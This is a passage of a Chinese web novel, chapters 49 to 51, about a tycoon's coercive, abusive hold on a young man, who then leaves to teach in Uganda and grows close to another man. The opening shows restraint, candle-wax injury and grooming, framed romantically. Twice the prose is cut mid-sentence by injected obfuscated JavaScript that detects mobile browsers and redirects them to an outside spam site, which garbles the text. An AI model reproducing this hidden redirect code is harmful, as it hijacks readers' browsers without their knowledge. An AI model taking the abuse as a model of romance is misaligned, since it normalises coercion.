他的目光下移,也不知道沾上这红色的印记……烛台移近了,曾闰成终于再也忍不住,右脚搭过去,颤声道:“李景麟,你别这样……我会痛的。”他把脸转向一边,眼睫低垂,嘴唇微微的颤抖着。 李景麟扔下手中的烛台,任它们熄灭在厚实的地毯间。他俯身含住了他微凉的唇瓣,极其温柔的吻他,温热的舌轻舔着他的上颚,传递着安抚的意味。只要他愿意服软,他其实舍不得这样伤他、辱他。 西装上带有徽章纹路的金属纽扣刮擦过肌肤,带起难言的颤栗。两只手被束缚得太久,一阵酥麻刺痒泛起,他在他的面庞下微微的挣扎。 李景麟按一下床侧的按钮,铜环松开,两只手臂垂落下来,他将它们搭上自己的肩膀,“闰成,闰成……”他想说不要离开我,话到嘴边却怎么也吐不出来,乞求从来不是他李景麟的风格。 49.第 49 章 一场极致的情事过后,曾闰成生了一场病。他从曾闰霞去世,就郁结于胸,一路颠簸送她回乡,没有好好休息,吃得也很少。刚回金城就面对李景麟的怒火和需索,半夜里发起了高烧。 李景麟原本搂着他沉沉睡去,被怀里的火炉热醒,伸手一探,曾闰成额上的温度烫得惊人,一个翻身起来,赶紧摇铃叫人。 家庭医生半夜匆匆而来,仔细的听诊检查了,他是中西结合的圣手,切了脉息,又掰开眼睛、唇舌看了看:“应该是累到了,又着了点风寒,您别太担心。” 他在李宅服务了十多年,很少看到李景麟有这么紧张的表情。“输点液,我再开几味中药,静养几天会好的。”他没有忽略患者身上的痕迹,尽管穿着睡衣,领口手腕都有遮挡不住的印记,温声叮嘱,“千万禁房事,身体虚弱再精气外泄,可不是闹着玩的。” 李景麟点头,示意知道了,让管家送走了家庭医生,亲自照顾了他半宿,看着吊瓶里的液体顺着软管流进他的身体,再看看他的面色,是惨白的底子上泛着不正常的潮红,眉眼紧闭,睡梦中都微蹙着,他难得露出了一点心虚后怕的表情。 不过李景麟的所谓照顾,仅限于坐在一边看着,Tina拧了冷毛巾来给曾闰成敷在额头,又煮了中药水给他小心的擦拭手心脚心。 Tina是港城人,平时和李景麟交流都是说粤语,乡音总让人觉得亲切,李景麟看她忙上忙下,细致周到,开口与她闲话:“你很喜欢他?”粤语里喜欢是用中意来表达,倒也没什么暧昧的意思。 “是,”Tina也不掩饰,“闰成人好好。” 李景麟点点头,“就是不太听话。”他语气里带着点失落与烦恼。 Tina忍了忍,还是壮起胆子,“闰成刚失去妹妹,老板如果对他好一点,他一定会很感激的。”她觑着李景麟的脸色补了一句,“他已没有别的亲人了,就只有……您了。” 她跟在李景麟身边多年,又在柏林和曾闰成建立了交情,当然对他的家庭情况有所了解。 她这话取悦到了李景麟,他伸手拿出雪茄盒,看一眼床上躺着的人,又放到了一边,“我对他不够好吗?” 李景麟自认自己对曾闰成是相当不错的,不用说曾闰霞这里他已尽全力,光是曾闰成瑞士银行账户上的余额,已经足够他宽裕的过完下半生。 Tina正擦拭着曾闰成的手心,手腕上一道青紫淤痕赫然在目,心里腹诽明面上也不敢说什么,只能含糊道,“老板对闰成肯定是极好的,只是可能,可能不是闰成想要的。” 她深感自己多话,急匆匆的端起铜盆先下去了,只留下李景麟呆坐在那里,半晌都没有挪动身姿。 他在晨曦微明的天光里,突然想起很久之前在柏林,他翻过曾闰成看的那本《瓦尔登湖》,他之所以爽快的同意了曾闰成去海德堡读博士,看到的那段话其实有一定的原因: “时间决定你会在生命中遇见谁, 你的心决定了你想要谁出现在你的生命里, 而你的行为决定了最后谁能留下。” 曾闰成会出现在他的生命里,可不就是因为第一次在办公室见到他,他那双像鹿一样黑白分明的眼睛么?纯真的眼神,清冽的气质,让见惯风月的心狠狠的动了一下。 他向来是个有欲望就会及时发泄的人,但这一次却难得的有耐心,他吩咐秘书留心着曾闰成的动向,不动声色的安排着一些家资富裕的家教工作,引导他见识纸醉金迷,浮华利禄,再抛出一些似是而非的诱惑,比如寒假可以选择一份出国伴游的高薪工作,或者突降一个公费交换留学的机会,只需要他来向他开口寻求帮助,双方的愿望便都能达成,皆大欢喜。 可他一直没有入彀,始终利用课余时间挣着那点微薄的家教薪资,既没有出国伴游,也没有来开口求他帮忙争取公费留学的机会。他跟一竿修竹一样,按着自己的节奏,缓慢生长。 如果不是秘书汇报他谈恋爱了,李景麟还不会急于出手。但是当那天他路过金师大,透过车窗看见他牵着一个女孩子的手漫步在湖边,脸上洋溢着温柔的笑容,眼神里有着显而易见的欢喜,他突然就有些怒不可遏。 就这么个庸脂俗粉,也能让他高兴成这样? 他不愿意直接将手段施展到他身上,但要摆布一个姿色姣好但身世堪怜又见识不多的女人简直是轻而易举。 他故意当着他的面,让那女人坐上他的车,看着他眼里的欢喜变成失落。他隔着后视车窗,回头看向那个驻足凝望的身影,心里泛起畅快的涟漪。 等到他过生日,特意办了一个小型的party。他大概不知道他是这场宴会的重量级嘉宾,夜色里迤逦而来,明显随意的着装,却掩盖不住满身的星辉。他在一堆华服装扮恭维阿谀的嘴脸里,看着他波澜不兴的侧脸,突然间就意兴阑珊。 但最令他难以忘怀,还是他到办公室来送资料那次,“……我们是两条平行线,告辞了。”两线平行,永不相交。他气得把资料都扫落到地上。 后来如愿以偿的第一次,他看着他发红的眼尾,用手掐着他的下巴,不允许他逃避,轻啄着他颤抖的唇角,低声道,“永不相交?这不交得挺好嘛?” 李景麟走到床边,掀开被子,将曾闰成清瘦的身体搂在怀里,小心的避开他输液的那只手,另一只手轻抚着他略有些发烫的面庞,手指滑过他沉睡的眉眼,叹了口气,闰成啊闰成,我要用什么样的行为,才能把你留在我的生命里呢? ———————————————————————— 李景麟连着三天没有去公司,对君临的管理层来说,无异于君王三天不早朝。虽然他经常有飞国外的时候,但科技发达,立体视频会议随时可以召开,像这样人在金城,不来君临的情况,是他接手以来绝无仅有的。 作为一个商业帝国的CEO,说日理万机也不算夸张。苏秘书在元老层的催促下,来玄武山庄查看情况。 其实她心里很清楚,多半是曾闰成的事情,所以一直磨蹭着不愿意来趟浑水。 曾闰成想离开这已经是显而易见的事情,而李景麟不肯放手也在她意料之中。一个看着软和实则倔强,一个是霸道执拗的典范,这局面怎么看都难解。 但是当她推开玄武山庄主卧那张大门的时候,还是吓了一跳,曾闰成面色潮红的陷在大床中央,锦被下的身躯略有些急促的起伏着,Tina在一旁更换着他额上的毛巾。 Tina和苏秘书同为港城帮首,又共事多年,是很熟络的,见屋里没别人,苏秘书用粤语低声道:“闹得很厉害吗?” Tina点头,“老板这次确实过分了点。”她左右瞟了两眼,小声说了烛台的事情,又轻轻掀起一角被子给苏秘书看那些痕迹。 苏秘书深深的叹气,李景麟虽然玩得花玩得开,但并没有磋磨人的爱好,但在曾闰成身上,确实屡次都有失风度、水准。 Tina有些担忧的口吻,“反复的发烧,医生来了好几批,都说没有大问题,但就是不时高热,意识也模糊,完全吃不下东西。”她抬起他裸露在被子外面的手背,上面好几个针孔,“全靠输液维持。” 苏秘书看着那张憔悴的面庞,不由得皱眉,“老板呢?” “休息去了,他昨晚一夜没睡。昨天白天不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612868|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么发了大脾气,把这房里的摆件全砸了,今天管家才新换的。” 苏秘书料想今天是见不到李景麟了,没想到佣人请她去书房,木门打开,浓浓的烟雾扑面而来,她掩面呛咳了几声,才走了进去。 李景麟的面容隐在烟雾后头,“过来有事?” 苏秘书摇头,“您几天没去公司,董事们不放心,一定让我来看看。” “去见过他了?” “是,没醒来,刚Tina测了一下,又烧起来了。” 李景麟“啪”一声把打火机丢桌上,烦躁不安的起身踱步。 “您不休息一下吗?Tina说您这几天都没睡好。” “睡不着。”李景麟回到书桌后坐下。 玄武山庄是纯中式的装修,既是书房,自然就有一张宽大的中式书桌,书桌上摆着文房四宝,一摞熟宣上扔着一只紫毫大笔,墨汁淋漓四散,李景麟估计是想练字静心,但显然不太成功。 他看着一旁墙上挂着的那个“麟”字,淡声道,“苏茜,他说他想走,求我让他走。”他一向是强势的作风,习惯了发号施令,很少用这种询问的口气跟苏秘书说话。 他脑海里闪过他那双哀求的眼睛,白天曾闰成醒来,看到李景麟坐在床边,修长的手指颤抖的伸出来轻轻攥住他的手掌,然而开口的第一句话却是,“景麟,我求求你,让我走,让我走吧,算我求你……”他声音嘶哑着,两泓清泉一样的眼里是满满的哀伤和恳求。 苏秘书暗叹口气,“他有没有说要去哪里?” “去非洲支教。”李景麟无法理解,“华国这么大,哪里不能支,干什么非得跑这么远。”他完全意识不到曾闰成跑这么远是为了躲他。 他知道曾闰成不肯说爱,大概是确实还没爱上,但这只是时间问题,他太忙了,和他相处的时间、机会还不够多,见面大多数时候都在床上。 如果他和他天天在一起,他每天从公司回来陪他吃饭,节假日就陪他出去玩,那他迟早是会爱上他的。那到时候估计头疼烦恼也不会少,一个人只要说爱就会有诸多要求和期待,他是不太耐烦应付这些的。 苏秘书看着李景麟脸上的表情,就知道曾闰成已经赢了。不爱的人是不会输的。 而她要做的,就是怎么帮她老板将这个人带来的伤害降低到最小,将这件事情的影响尽量控制在大家都能接受的范围。 “闰成可能是想换一个环境。您知道,他其实对教育是有热爱的,对科研倒没有太大兴趣。”苏秘书斟酌着言辞。 “可他换得太远,穷山恶水,又不安全。”李景麟点燃一根雪茄,轻嘬了几口,在烟雾缭绕中紧皱着眉头。 “人总是身在福中不知福的,安逸富贵久了就忘了生活本身的疾苦。人都有逆反心理,束缚担忧得多了,自然是向往自由松快。”苏秘书不动声色的充当着说客,“时间是最能检验人的,您要真让他走了,吃到了苦头,没准反倒自己求着要回来呢。” 之前也不是没有这样的例子,就拿娱乐圈来说,新人不是个个都想抱金主大腿,可尝过甜头,再受排挤,又回头哭求资源的也不在少数。 苏秘书真不是出于帮助曾闰成的目的,而是发自内心的觉得李景麟没有必要再浪费时间,他出生就站在塔尖,想要什么样的人没有? 不管娱乐圈还是时尚圈都在推陈出新,年年都有令人惊艳的面孔出现,让曾闰成离开,离得远远的,日子久了,自然也就淡忘了。 她不止为李景麟服务,更为李氏家族服务,及时止损永远是商业巨擘要学的第一课,李景麟在商场上从未忘记过这一点,在感情上却犯起了糊涂。 50.第 50 章 曾闰成踏上去乌干达的飞机,已经是半个月之后的事情。他需要在迪拜转机,然后再飞乌干达的首都坎帕拉,整个行程大概二十个小时。 苏秘书一直将他送到安检处,看着他清瘦的侧影,低声道,“闰成,你还会回金城吗?” 曾闰成摇摇头,“短时间内是肯定不会了。”金城已经没有他特别牵挂的人,而且,如果……真的跟傅廷恩在一起,确实国外的氛围更轻松友好一些,不会有人围观,也不会有人八卦。 苏秘书点点头,“也好。” “法兰克福的房子麻烦你抽空去办手续。” “闰成,这点你不要倔强,李总给出去的东西从来没有要回来的。” 苏秘书怕他犯犟,把事情弄复杂,“你就拿着,包括瑞士银行账户上的钱,怎么处理是你的事情。然后,不要再回头看了。”这话其实也是委婉的告诉他,不要改变主意,又回头来找李景麟。 曾闰成给她吃定心丸,“放心吧,还有,苏茜,谢谢你。”曾闰成很清楚,在放他离开这件事情上,如果不是苏秘书再三的劝说,不可能这么顺利。 而且这么多年她对他、对小霞都是尽心尽力,不管出于什么目的,都当得起这声谢。他叫了一声她的名字,双方都觉得此次分别,此生或许就不会再见面了,有一分难言的伤感。 “再见了。”他转身,背着背包的身影很快消失在人海中。 苏秘书目送着他清瘦的背影远去,恍惚里想起八年前的那个冬天,她在君临一楼大厅第一次看到这个背影,挺拔清俊,让她很好奇,这个背影的主人长着怎样一张脸,于是走了过来,最终带着他走进了李景麟的办公室。 如今,由她送他离开,也算是善始善终了。 她回到君临,径直去了李景麟办公室。“走了?”她一进门,坐在转椅上的高大身影便转过身。 “是,”她抬腕看看手表,“这个点已经登机了,在迪拜转机,后天早上六点左右落地坎帕拉,届时当地教育机构会派车去接他。” 曾闰成支教乌干达的一系列手续都是由苏秘书办理的,她为他联系了乌干达首都坎帕拉最好的一所学校,但曾闰成会不会去这个学校报道她其实不确定,因为听曾闰成的意思,他师兄跟去年支教的地方一直有联系,他是过去接替他。但这种细枝末节自然没有必要汇报。 “好,”李景麟略微沉吟,“傅家那小子在哪?”他问得风马牛不相及,苏秘书却答得快速自然,“他回金城只逗留了一天,便回了伦敦,在准备毕业论文,近期都没有离开的计划。”她能成为秘书团的首席自然是有原因的。 李景麟满意的点点头,“除了安危,其它方面不用特殊照顾。” 他是得让曾闰成好好感受一下,离开他,去到那么偏远落后的国度,能过什么样的日子?等他吃到生活的苦头,自然就知道留在他的身边有多舒服。 “是。”苏秘书恭敬的答应,“郑导联系我好几次了,想问问您今晚有没有时间,他挖掘了几个好苗子,想让您帮他掌掌眼。”忘掉旧人的最好办法,自然是补充新人。 李景麟略一沉吟,“嗯,安排吧。”曾闰成一直缠绵病榻,稍有起色便着手办理支教的事宜,他旷了有大半个月了,回想最后一次尝到他的滋味,他就觉得下|腹发紧,有股邪火亟待发|泄。 ———————————————————————— 曾闰成在候机大厅自拍了一张照片传给傅廷恩。照片里的他,面对镜头,脸上漾起一抹浅笑,眼神里有着显而易见的松快。 电话很快响起,算算时间,伦敦应该是凌晨。傅廷恩的声音满溢着激动,“闰成,我总算等到你的消息。”他无数次的想要拨打他的电话,但因为临别前曾闰成千叮咛万嘱咐,到底还是忍住了。他悬着心,几乎每个晚上都无法安睡,干脆拿作业拿论文来填充漫长的等待。 “廷恩,”曾闰成听到话筒里传来熟悉的声音,心头也泛起一股悸动,他终于脱离樊笼,去过自由的生活,“我在候机,等到坎帕拉换了卡再联系你。” “有人接机吗?” “有,当地学校会派车来接。” “你把接机人的号码发给我,”人生地不熟,傅廷恩着实不放心,“清凉油、风油精带了吗?防中暑、防感染的药物……” “都带了,放心。”曾闰成有点无奈,他明明比傅廷恩大这么多,日常生活里他却把他当小孩子对待。这点还在恒雅的时候就有苗头,十八岁的傅廷恩经常给他发微信,“曾老师,明天有台风登陆,你可千万别出门。”“Jasper,阳台的门关了吗?外面下雨了噢。” “放心吧,坎帕拉只有二十多度,还没有金城热。”曾闰成宽解他,四月的金城已经热浪滚滚。 “千万不要乱吃东西,据说那边卫生习惯不好,到时候看能不能请个人给你做饭。”傅廷恩仍旧谆谆叮嘱。 “嗯,知道,我登机了。”曾闰成挂了电话,把接机人的号码发了过去。 傅廷恩秒回收到,过了一会,又发了一条信息给来,“闰成,我想你了。” 曾闰成看着那条信息,心底泛起暖意,“我也是。” ————————————————————————— 曾闰成辗转到达坎帕拉是早上七点,飞机晚点了将近一个小时。 走出简陋的机场大门,一辆国产的金龙牌中巴车停在路边等他,车窗边立着他中文名字的接机牌,黑乎乎的大个子倚靠在车门边,一双亮闪闪的眼睛紧盯着从机场走出来的旅人。 看到曾闰成走过来,他激动的上前握住他的手,大声用英语介绍着自己,他叫桑昆,是坎帕拉市郊一个教育局的工作人员,负责接待并送曾闰成去支教的学校。 乌干达曾经是英殖民地,桑昆的英语很流利,他将曾闰成的行李放到后备箱,又打开副驾驶车门,“坐前面吧,虽然晚了点,有可能还能看见。” 他表示回程会经过稀树草原,如果飞机准点能看到很多野生动物,现在虽然晚了点,但如果运气好,还能看见狮子。 乌干达是赤道附近的国家,地处东非高原且多湖,气温常年保持在二十多度,有非洲明珠之称。稀树草原的清晨凉风习习,曾闰成透过半开的车窗,看着窗外广袤半绿的草原,间或闪过几株大树,是完全不同于亚洲的自然景象。 “Look!Look!”桑昆指着前方,一群羚羊奔跑而过,羚羊是狮子最喜欢的食物之一,果然,羚羊群的身后跟着一只母狮子,不紧不慢的走着,似乎暂时没有猎食的打算。 草丛中时不时闪过一些叫不上名字的动物的身影,令曾闰成目不暇接。一只猎豹在树上呼呼大睡,几只长着獠牙的野猪摇头晃脑的经过,一群水牛在前方奔腾,曾闰成赶紧把车窗摇上去。 桑昆笑着告诉他:“成群的水牛并不可怕,如果是落单的水牛就要小心,它会很有攻击性。” 桑昆显然很了解动物的习性,“水牛怀胎要十一个月,而狮子只要三个月。但水牛的数量显然远远多于狮子,食草动物寿命总要更长一些。”他龇着一口大白牙,一路不停的跟曾闰成闲聊。 他们穿过草原,进入一个集镇,拥挤的人群和琳琅满目的商品开始映入眼帘,不管是摊位、商品还是路边的房屋,都不时闪过几个汉字,整体类似国内七八十年代的感觉。 乌干达是一个跟华国邦交友好的国家,因为气候适宜,政局也算稳定,在当地发展的华人比较多,本地人对华国人也很友好,看到曾闰成下车,几个男男女女围上来帮他拿行李,用英语笑着跟他打招呼。 曾闰成没有去苏秘书为他联系的学校,他选择支教的学校是一所初级中学,按照他的学历,可以申请更高层级的学校,但是要想了解一个国家的国民教育,初级中学是更合适的渠道。 最终他选择了在一所郊区中学教八九年级数学,这里的孩子也是六岁入学,但因为一夫多妻制,平均每个家庭都有五六个孩子,所以小学阶段孩子的数量相当多,但义务教育只到七年级,八九年级的孩子数量就要少很多了。 学校位于集镇东侧,几栋低矮的教学楼,没有围墙,只有一个木制的牌楼,上面用英语和斯瓦希里语写着学校的名称。 没有专门的操场和跑道,都是泥巴地面,几个孤零零的篮筐立在太阳底下。 临近中午,紫外线特别强,曾闰成只能把墨镜取出来戴上,领着他去教室的女老师,向他竖了个大拇指:“好酷呀!”字正腔圆的普通话。 她的名字叫琳达,是这所中学的汉语老师,汉语是学校的必修课程之一,这不禁让曾闰成对祖国的国力产生了自豪感。 琳达扎着满头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624036|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小辫子,穿着一身运动服装,棕黑色的皮肤上五官周正,是华国人眼中比较漂亮的非洲姑娘。 琳达将他领到教室,课桌椅、黑板都非常简陋,没有任何电器化教具,但是布置得非常温馨,教室前面悬挂着世界地图和乌干达地图,有个小小的图书角和一个饮水机,教室后面拉着彩旗。 看到曾闰成进来,二十来个孩子齐刷刷的站起来,跟他问好打招呼,十分有礼貌,让他原本提着的心安定了不少。 他摘了墨镜,用粉笔在黑板上写下了自己的英文名字,简单的介绍了一下资历,换来了孩子们的阵阵掌声。 为了欢迎他的到来,中午学校老师组举行了一个聚餐,主食是香蕉饭,据琳达介绍是用一种没有甜味的香蕉煮熟捣烂,再加上一些淀粉制成。 主菜则是芭蕉炒猪肉,曾闰成尝了尝,味道很淡,还算比较合他的口味,桌上还摆着很多烤串,校长模样的男人一个劲的劝他多吃点,他接过一串尝了尝,是羊肉,很香,没有辣味,对他来说倒是正好。他在国内不太敢吃烧烤,重盐重辣,他接受不了。 学校为他准备了宿舍,就在教学楼旁边,一排平房,墙壁刷白了,没有装空调,但有单独的卫生间,看着也还算干净,他觉得挺满意,直接住了下来,倒让琳达小小的吃了一惊,“之前来的老师都会住到镇上去,那里吃饭买东西更方便,价格对你们来说,应该算很便宜。” 曾闰成点点头,他听师兄介绍过当地的物价和一些基础费用,有点类似欧美国家跑到华国来消费,“我先住住看。”他出身农村,对吃又比较随意,对简陋的卧室环境也接受良好。 回程的路上,桑昆领他办了一张手机卡,塞到国产手机里直接就可以使用,他估摸着时间,给傅廷恩打了个电话,“比我想象的要好很多,气温就二十多度,真不热,这边很少有装空调的。只是紫外线比较强,中午的时候比较晒。饮食也能接受。” 傅廷恩听他说了一下一路的见闻和抵达之后的情况,总算放下心,“蚊帐带了吗?据说那边蚊子很毒,晚上睡觉一定要挂蚊帐,白天要带好驱蚊的药水,你把地址给我,我给你寄一些过去。” “不用了,邮费都够我买个齐全了。琳达说周末带我去集镇,我连衣服都带得不多,这边什么都有得卖,你不要担心我。” “琳达是谁?” “一个汉语老师,他们这边有开设汉语课。” “漂亮吗?”傅廷恩开始偏离重点。 “呃,还行吧。”曾闰成回想了一下那个满头小脏辫和棕黑肤色的姑娘。 傅廷恩的视频立马就打了过来,曾闰成点击接通,傅廷恩五官深邃的面孔就出现在了手机屏幕上,大概手机自带美颜效果,简直帅得人神共愤。 “有多漂亮?”他凑近屏幕,“比我漂亮吗?” “有病啊傅廷恩,”曾闰成忍不住笑起来,“你要跟非洲姑娘比美吗?” 傅廷恩有很久没有看到过曾闰成的笑脸了,愣愣的看着,半晌才低声道,“闰成,你可不要喜欢上非洲姑娘。” 曾闰成被他整无语了,“我是到非洲来谈恋爱的吗?傻瓜。” 他看着傅廷恩的脸庞上流露出委屈的样子,突然就不敢再多看,“廷恩,你的毕业论文准备得怎么样了?”他赶紧转移话题。 虽然是一年制的硕士,但毕业论文、答辩一样不少,何况傅廷恩先陪他们到高雪维尔度假,后又送曾闰霞归乡,耽误了不少时间,想要如期毕业,学习强度估计跟高三冲刺差不了多少。 “论文已经有了初稿,就是期刊一作的文章内容还要大修。”硕士毕业要求在重量级刊物发表两篇以上的专业专题文章,一篇一作,一篇二作。 “你要不要传给我帮你看一下?我申请了宽带,明天会上门安装。” 两个人专业细分方向不同,但大体一致,曾闰成已经申请博士,当然可以指导研究生写论文。 但是傅廷恩拒绝了他的帮助,“不要,曾老师,你只管照顾好自己,学业上的事情我自己会搞定,保证耽误不了毕业。” 听他叫曾老师,曾闰成也露出了一点笑意,他重新获得了这个称呼。“很晚了,我明天就要开始上课了,回头再聊好不好?” 异国他乡的第一个晚上,躺在那张硬木板床上,曾闰成睡得很熟很踏实,一夜无梦。 51.第 51 章 从第二天开始,曾闰成正式走上课堂。其实这个学期已经开始了一个多月,曾闰成算是中途插入,但是学校调整了教学计划,让原来的数学老师去带七年级,七年级人数更多,师资更紧缺,经常两个班级合班上课。 校长一是因为教育局方面的关照,二是担心人数过多曾闰成应付不过来,三是人家学历资历摆在这,带高年级的课显然更合适。 他等曾闰成适应几天后,还组织了数学课组的几个老师去听了一堂课,曾闰成原本在恒雅就是英文教学,英语非常流利,而且他也不像一般数学学者那样拙于言辞,他的课深入浅出,条理非常清晰。 课堂氛围也很好,可能外国教师自带光环,学生们听的时候很安静,回答问题很积极,一堂课听完,校长放下了心,课组的老师们也心悦诚服,下课的时候和学生们一起给予了热烈的掌声。 曾闰成就在这所郊区中学安定下来,他每天的生活非常简单,备课、教学、批改作业。他开通了网络,光纤直接入户,网速还可以,办公看电影是完全没问题。 他写了一封邮件给海德堡大学的导师克里斯蒂安,表达了因为个人问题没能跟他继续学习的遗憾,其实他在柏林陪曾闰霞休养期间也一直跟科研小组有链接,偶尔帮忙做一些数据测试。总有相对比较熟一点的同事,大概的知道他时断时续进行数据研究的原因。 克里斯蒂安很快回邮件给他,先是对听说他妹妹去世的事情表示了遗憾,又提议他可以加入网络研讨小组,现在科技发达,即使不能见面,很多沟通也可以顺畅进行。曾闰成的学籍一直保留在海德堡大学,如果他继续参与研究,博士毕业只是时间问题。 克里斯蒂安手上有好几个项目,都急需应用数学这一块的人才,不用支付高昂的薪水,就能让一个获得欧盟居里学者奖学金的高材生加入外行看来枯燥无比的数字研究大军,自然也是导师乐见其成的事情。 曾闰成答应下来,他对数学一直有热爱,各种各样的数学符号对他来说是摩斯密码一样的存在,那里面有许多别人无法轻易窥探得到的想法,就好像一个不会被打扰的天地。 傅廷恩就很懂他的这个点,因为时差的关系,他们并不能经常视频,再加上彼此投入学习生活的话其实也很忙碌,所以两人最多的交流还是发信息。 有时候曾闰成一觉醒来,看到手机上的信息是一个数学方程式:sinβ+cosβ,他瞬间就秒懂他的意思,然后一整天心情都会很好,嘴角会无法抑制的向上扬起。 有时候是画一个坐标轴,X轴的方向标注着曾闰成的英文名字,而正弦函数则是他自己的英文名字。 曾闰成也会回他,Y=X?,然后再加一个坐标轴,代表从0开始并且没有尽头。 这种只有学数学的人才会懂的浪漫,让两颗心在不断的靠近。曾闰成的性格和成长经历,注定他接受不了太过激烈的感情,能戳中他的永远是脉脉温情和坚定的守候。 曾闰成带的两个班,一共四十多个学生,他开始以为大部分都是男生,因为都是剪着贴头皮的囚头,满头小辫子的女生没有几个,他还跟傅廷恩感叹了一下重男轻女的陋习。 直到有一天放了学,学生们邀请他打篮球,其实就是无规则的篮球运动,一群孩子围着那两个篮筐奔跑跳跃投篮,他站在场边看着,无意间把手搭在一个经常跟在他身边的男生肩上,那男生突然害羞的笑起来,扭过身去,旁边的学生起哄:“妮娜!老师喜欢妮娜!老师喜欢妮娜!” 他这才惊讶的发现,他一直以为是男生的原来是女生,她们也剪着囚头,人种的原因,都是黑皮肤大眼睛白牙齿,穿着相似的服装,女生没有发育的话,确实看不太出男女。数学课又不需要长篇大论发言或者读课文,开口说话倒还是分得出嗓音的差别。 曾闰成在学校很受欢迎,他性格温和,从没高声骂过人,周末去集市总会带回一些糖果,分给孩子们。这边的物价确实便宜,十块钱就能买一堆糖果,足够两个班级的孩子人手一个。 当然他也不会太过头,让别的老师为难,一周只买一次。但这也足以让他成为整个学校最受欢迎的老师了。 汉语老师琳达最喜欢跟他交流,一来练习汉语,二来曾闰成说话速度总是不紧不慢,尤其跟她说话的时候会特意字正腔圆的讲普通话,便于她学习,跟他交流是一件让人特别愉快的事情。 她经常邀请曾闰成给几个班级轮流上汉语课,看着非洲孩子们一笔一划的写着人口手日月合,会让曾闰成的心里涌起一些骄傲和自豪,当然也会忍不住感叹外国人学汉语确实比华国人学英语要难多了。 因为华国在非洲这些小国的帮扶政策,孩子们现在对华国的向往甚至超过了对英美一些老牌资本主义国家,经常会向曾闰成提问了解一些华国的国情。 曾闰成会从网络截取图片和视频,制作一些简单的PPT和VCR,用自己的笔记本电脑播放给孩子们观看。 日子就在一天天的忙碌中流逝,曾闰成原本郁结的心绪逐渐的散开来,失去亲人的伤痛也慢慢被抚平。这里山高水远,温度适宜,景色也迷人,他逐渐找回了一点在恒雅任教时的闲适自在。 唯一令人不太满意的只有饮食,他虽然不挑,但对于手抓饭吃的方式不太能接受,而且各种以香蕉为底料制成的食物也实在吃得人想吐,所以,一个月以后,他还是雇佣了一个保姆,帮他做饭洗衣服,工资是20元每天,在当地已经算高薪。 他每个周末会去集镇上采购一次食材,当地有不少华人超市,各项物品供应还算齐全,水果也有,除了香蕉,苹果梨子葡萄这些大众水果都有,而且价格不贵。 傅廷恩总担心他的安全问题,要求他每次出去必须跟学校老师一起,不能单独行动。 他理解他的担忧,一般也会跟琳达或者其她老师一起,但其实这点算是多虑了,因为政局的稳定,当地民风还算是比较淳朴,男人女人都比较单纯,他们看曾闰成,有点八九十年代的华国看外国人的感觉,恭敬中带着点羡慕,至少坎帕拉是很少听到跟华人有关的恶性事件发生。 傅廷恩自从拿到地址,就开始源源不断的给他寄送物资,从蚊帐衣服鞋袜到指甲剪刮胡刀须后水,各式各样,曾闰成跟他说当地都有卖不要寄,他也不听,隔三岔五就收到一个大包裹。 有一天收到一个航空专件,黑人小哥亲自送上门,还核对了护照是他本人才让他签收。 他一层层的剥开,却是一个小方盒,打开来,是一枚流光璀璨的耳扣,盒底的小卡片上写着:迟来的生日礼物。 傅廷恩知道他签收后,晚上打了个视频过来,“喜不喜欢?”因为是私人订制,耽误了一些时间。 “你送我这个我也带不了呀。”曾闰成装傻。 傅廷恩识破他谎言,“我看到你有耳洞,而且只有一个,不然我怎么不送一对。快,戴给我看看。” 曾闰成确实有一个耳洞,在左耳垂上,农村有迷信的说法,戳个标记容易养活,婆婆在他很小的时候就拿缝衣针给他戳了一个,茶叶柄塞着,慢慢就养成了,平时不戴耳饰也不会堵上。他从没戴过,没想到被傅廷恩发现了。 “早堵上了,戴不了。”他推脱着,很难想象这么耀眼夺目的东西戴在自己耳朵上的感觉。 傅廷恩是很懂得制他的,一个劲的软磨硬泡:“闰成,这是我自己设计的,然后镶嵌的宝石也找了很久,要低调又好看的,你真的不戴给我看看吗?” “我真的很想看、很想看……你不给我看我论文都写不下去了……” 曾闰成被他磨得没办法,只能扣下手机,去卫生间找镜子,等手机再翻开,屏幕里出现一张完美的侧脸,他有着极好的头型,发丝柔软,眼睫比一般女孩子都要长且天然微翘,鼻子尤其长得好,山峦般起伏却不突兀,唇角微微的上翘。 但这些都在白皙的耳廓前黯然失色,圆润的耳垂上挂着一枚晶莹的耳饰,在手机光线里闪着碧蓝盈翠的流光。 傅廷恩呆呆的看着,半晌没有言语,曾闰成转过头来,“看够了吧?”伸手想取下来。 “别,”傅廷恩赶紧阻止他,“你就带着嘛,真的好好看。” 曾闰成无语,“那怎么行,我上课带着这个像话吗。”其实非洲男女都喜欢戴耳饰,老师戴一圈耳饰上课也很常见,但那不是曾闰成的风格。 “那你跟我视频的时候就戴着好不好?”傅廷恩看着视频里曾闰成的面庞简直移不开眼睛,尤其是耳畔那一抹流光,让他原本清纯的脸庞平添了几分魅惑,他忍不住凑到手机屏幕上,在他嘴唇的位置轻吻了一下,“闰成,此刻你要是在我身边就好了……” 他喃喃的低语传到曾闰成的耳中,让他没来由的心软,“好吧,我答应你,跟你视频就戴着,平时好好收起来。” 傅廷恩已经摸准了曾闰成的 